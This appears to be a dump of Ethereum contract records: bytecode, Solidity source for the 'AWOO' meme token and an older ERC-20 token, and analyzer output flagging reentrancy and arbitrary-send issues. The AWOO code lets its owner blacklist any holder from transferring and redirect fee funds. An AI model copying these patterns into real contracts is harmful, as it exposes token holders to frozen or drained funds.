260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122084699b41246762affd0aa6d2402dc42e5774bf9b46a9c7d2c3bb89e83872645764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,235 |
0x99446fc79dcb8976b8f03c11a3ea096d87cce05f
|
//SPDX-License-Identifier: UNLICENSED
/*
AWOOOOOOOOO
https://t.me/awootoken
https://awooo.world
Like a community sing, a howl is a happy occasion. Wolves love to howl.
When it is started, they instantly seek contact with one another, troop together, fur to fur.
We are awoooooooing to gather people with the same spirit as us like a wolf - sharp intelligence, appetite for freedom, strong instincts and always ready to hunt.
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AWOO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e11 * 10**9;
string public constant name = unicode"Full Moon Always Comes";
string public constant symbol = unicode"AWOO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _MarketingWallet;
address public uniswapV2Pair;
uint public _bFee = 10;
uint public _sFee = 10;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxWallet;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _removedTxnLimit = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet) {
_MarketingWallet = MarketingWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (1 minutes)) > block.timestamp && _removedTxnLimit ) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxWallet);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _bFee;
} else {
fee = _sFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 2000000000 * 10**9;
_maxWallet = 2000000000 * 10**9;
_removedTxnLimit = true;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setEnableLimitedTxn(bool enable) external onlyOwner() {
_removedTxnLimit = enable;
}
function setMaxAmount(uint maxBuyTokens, uint maxWallet) external onlyOwner(){
if( _maxBuyTokens>= 500000000 ){
_maxBuyTokens = maxBuyTokens;
_maxWallet = maxWallet;
}
}
function setFees(uint bFee, uint sFee) external onlyOwner() {
require(bFee < 12 && sFee < 12 );
_bFee = bFee;
_sFee = sFee;
emit FeesUpdated(_bFee, _sFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external onlyOwner(){
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101fd5760003560e01c8063715018a61161010d578063b0e9fffe116100a0578063db92dbb61161006f578063db92dbb6146105cc578063dcb0e0ad146105e1578063dd62ed3e14610601578063e9e1831a14610647578063fdf7cd931461065c57600080fd5b8063b0e9fffe1461056c578063b515566a14610582578063c3c8cd80146105a2578063c9567bf9146105b757600080fd5b806395d89b41116100dc57806395d89b41146104e75780639e78fb4f14610517578063a9059cbb1461052c578063aacebbe31461054c57600080fd5b8063715018a61461047d57806382247ec0146104925780638da5cb5b146104a857806394b8d8f2146104c657600080fd5b806330380a46116101905780633bbac5791161015f5780633bbac579146103c157806349bd5a5e146103fa5780636755a4d0146104325780636fc3eaec1461044857806370a082311461045d57600080fd5b806330380a4614610344578063313ce5671461036457806331c2d8471461038b57806332d873d8146103ab57600080fd5b80631fe0371e116101cc5780631fe0371e146102d95780632188650e146102ef57806323b872dd1461030f57806327f3a72a1461032f57600080fd5b806306fdde0314610209578063095ea7b3146102615780630b78f9c01461029157806318160ddd146102b357600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061024b6040518060400160405280601681526020017546756c6c204d6f6f6e20416c7761797320436f6d657360501b81525081565b60405161025891906117b1565b60405180910390f35b34801561026d57600080fd5b5061028161027c36600461182b565b61067c565b6040519015158152602001610258565b34801561029d57600080fd5b506102b16102ac366004611857565b610692565b005b3480156102bf57600080fd5b5068056bc75e2d631000005b604051908152602001610258565b3480156102e557600080fd5b506102cb60095481565b3480156102fb57600080fd5b506102b161030a366004611857565b610725565b34801561031b57600080fd5b5061028161032a366004611879565b61076b565b34801561033b57600080fd5b506102cb6107bf565b34801561035057600080fd5b506102b161035f3660046118c8565b6107cf565b34801561037057600080fd5b50610379600981565b60405160ff9091168152602001610258565b34801561039757600080fd5b506102b16103a63660046118fb565b610815565b3480156103b757600080fd5b506102cb600e5481565b3480156103cd57600080fd5b506102816103dc3660046119c0565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040657600080fd5b5060085461041a906001600160a01b031681565b6040516001600160a01b039091168152602001610258565b34801561043e57600080fd5b506102cb600c5481565b34801561045457600080fd5b506102b16108a7565b34801561046957600080fd5b506102cb6104783660046119c0565b6108b4565b34801561048957600080fd5b506102b16108cf565b34801561049e57600080fd5b506102cb600d5481565b3480156104b457600080fd5b506000546001600160a01b031661041a565b3480156104d257600080fd5b50600f54610281906301000000900460ff1681565b3480156104f357600080fd5b5061024b6040518060400160405280600481526020016341574f4f60e01b81525081565b34801561052357600080fd5b506102b1610943565b34801561053857600080fd5b5061028161054736600461182b565b610b1e565b34801561055857600080fd5b506102b16105673660046119c0565b610b2b565b34801561057857600080fd5b506102cb600a5481565b34801561058e57600080fd5b506102b161059d3660046118fb565b610baa565b3480156105ae57600080fd5b506102b1610cc3565b3480156105c357600080fd5b506102b1610cd9565b3480156105d857600080fd5b506102cb610d4e565b3480156105ed57600080fd5b506102b16105fc3660046118c8565b610d66565b34801561060d57600080fd5b506102cb61061c3660046119dd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561065357600080fd5b506102b1610de5565b34801561066857600080fd5b5060075461041a906001600160a01b031681565b6000610689338484610f8e565b50600192915050565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016106bc90611a16565b60405180910390fd5b600c821080156106d55750600c81105b6106de57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b81526004016106bc90611a16565b631dcd6500600c541061076757600c829055600d8190555b5050565b60006107788484846110b2565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107a7908490611a61565b90506107b4853383610f8e565b506001949350505050565b60006107ca306108b4565b905090565b6000546001600160a01b031633146107f95760405162461bcd60e51b81526004016106bc90611a16565b600f8054911515620100000262ff000019909216919091179055565b6000546001600160a01b0316331461083f5760405162461bcd60e51b81526004016106bc90611a16565b60005b81518110156107675760006005600084848151811061086357610863611a78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089f81611a8e565b915050610842565b476108b18161147e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016106bc90611a16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461096d5760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff16156109905760405162461bcd60e51b81526004016106bc90611aa9565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611ae0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611ae0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afb9190611ae0565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006106893384846110b2565b6000546001600160a01b03163314610b555760405162461bcd60e51b81526004016106bc90611a16565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e7906020015b60405180910390a150565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016106bc90611a16565b60005b81518110156107675760085482516001600160a01b0390911690839083908110610c0357610c03611a78565b60200260200101516001600160a01b031614158015610c54575060065482516001600160a01b0390911690839083908110610c4057610c40611a78565b60200260200101516001600160a01b031614155b15610cb157600160056000848481518110610c7157610c71611a78565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cbb81611a8e565b915050610bd7565b6000610cce306108b4565b90506108b1816114b8565b6000546001600160a01b03163314610d035760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff1615610d265760405162461bcd60e51b81526004016106bc90611aa9565b600f805442600e55671bc16d674ec80000600c819055600d5562ff00ff191662010001179055565b6008546000906107ca906001600160a01b03166108b4565b6000546001600160a01b03163314610d905760405162461bcd60e51b81526004016106bc90611a16565b600f805463ff000000191663010000008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610b9f565b6000546001600160a01b03163314610e0f5760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff1615610e325760405162461bcd60e51b81526004016106bc90611aa9565b600654610e539030906001600160a01b031668056bc75e2d63100000610f8e565b6006546001600160a01b031663f305d7194730610e6f816108b4565b600080610e846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f119190611afd565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f6a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b19190611b2b565b6001600160a01b038316610ff05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106bc565b6001600160a01b0382166110515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106bc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16156110d857600080fd5b6001600160a01b03831661113c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bc565b6001600160a01b03821661119e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bc565b600081116112005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bc565b600080546001600160a01b0385811691161480159061122d57506000546001600160a01b03848116911614155b1561141f576008546001600160a01b03858116911614801561125d57506006546001600160a01b03848116911614155b801561128257506001600160a01b03831660009081526004602052604090205460ff16155b1561133757600f5460ff166112d95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106bc565b42600e54603c6112e99190611b48565b1180156112fe5750600f5462010000900460ff165b1561133357600c5482111561131257600080fd5b600d5461131e846108b4565b6113289084611b48565b111561133357600080fd5b5060015b600f54610100900460ff161580156113515750600f5460ff165b801561136b57506008546001600160a01b03858116911614155b1561141f57600061137b306108b4565b9050801561140857600f546301000000900460ff16156113ff57600b54600854606491906113b1906001600160a01b03166108b4565b6113bb9190611b60565b6113c59190611b7f565b8111156113ff57600b54600854606491906113e8906001600160a01b03166108b4565b6113f29190611b60565b6113fc9190611b7f565b90505b611408816114b8565b478015611418576114184761147e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061146157506001600160a01b03841660009081526004602052604090205460ff165b1561146a575060005b611477858585848661162c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610767573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fc576114fc611a78565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115799190611ae0565b8160018151811061158c5761158c611a78565b6001600160a01b0392831660209182029290920101526006546115b29130911684610f8e565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115eb908590600090869030904290600401611ba1565b600060405180830381600087803b15801561160557600080fd5b505af1158015611619573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611638838361164e565b905061164686868684611672565b505050505050565b600080831561166b578215611666575060095461166b565b50600a545b9392505050565b60008061167f848461174f565b6001600160a01b03881660009081526002602052604090205491935091506116a8908590611a61565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116d8908390611b48565b6001600160a01b0386166000908152600260205260409020556116fa81611783565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173f91815260200190565b60405180910390a3505050505050565b60008080606461175f8587611b60565b6117699190611b7f565b905060006117778287611a61565b96919550909350505050565b3060009081526002602052604090205461179e908290611b48565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117de578581018301518582016040015282016117c2565b818111156117f0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108b157600080fd5b803561182681611806565b919050565b6000806040838503121561183e57600080fd5b823561184981611806565b946020939093013593505050565b6000806040838503121561186a57600080fd5b50508035926020909101359150565b60008060006060848603121561188e57600080fd5b833561189981611806565b925060208401356118a981611806565b929592945050506040919091013590565b80151581146108b157600080fd5b6000602082840312156118da57600080fd5b813561166b816118ba565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190e57600080fd5b823567ffffffffffffffff8082111561192657600080fd5b818501915085601f83011261193a57600080fd5b81358181111561194c5761194c6118e5565b8060051b604051601f19603f83011681018181108582111715611971576119716118e5565b60405291825284820192508381018501918883111561198f57600080fd5b938501935b828510156119b4576119a58561181b565b84529385019392850192611994565b98975050505050505050565b6000602082840312156119d257600080fd5b813561166b81611806565b600080604083850312156119f057600080fd5b82356119fb81611806565b91506020830135611a0b81611806565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a7357611a73611a4b565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611aa257611aa2611a4b565b5060010190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b600060208284031215611af257600080fd5b815161166b81611806565b600080600060608486031215611b1257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3d57600080fd5b815161166b816118ba565b60008219821115611b5b57611b5b611a4b565b500190565b6000816000190483118215151615611b7a57611b7a611a4b565b500290565b600082611b9c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf15784516001600160a01b031683529383019391830191600101611bcc565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122057f44f93d63529075b7c84709e5416eaf82d6121fea77ba5af7ab3b978d25ce064736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,236 |
0xa0f312fcf45083ab208202673327405abcdc1433
|
pragma solidity ^0.4.15;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferByInternal(address from, address to, uint256 value) internal returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event MintedToken(address indexed target, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 maxSupply_;
uint256 totalSupply_;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function maxSupply() public view returns (uint256) {
return maxSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferByInternal(address _from, address _to, uint256 _value) internal returns (bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check value more than 0
require(_value > 0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] = balances[_from].sub(_value);
// Add the same to the recipient
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function mintToken(address _target, uint256 _mintedAmount) onlyOwner public {
require(_target != address(0));
require(_mintedAmount > 0);
require(maxSupply_ > 0 && totalSupply_.add(_mintedAmount) <= maxSupply_);
balances[_target] = balances[_target].add(_mintedAmount);
totalSupply_ = totalSupply_.add(_mintedAmount);
Transfer(0, _target, _mintedAmount);
MintedToken(_target, _mintedAmount);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
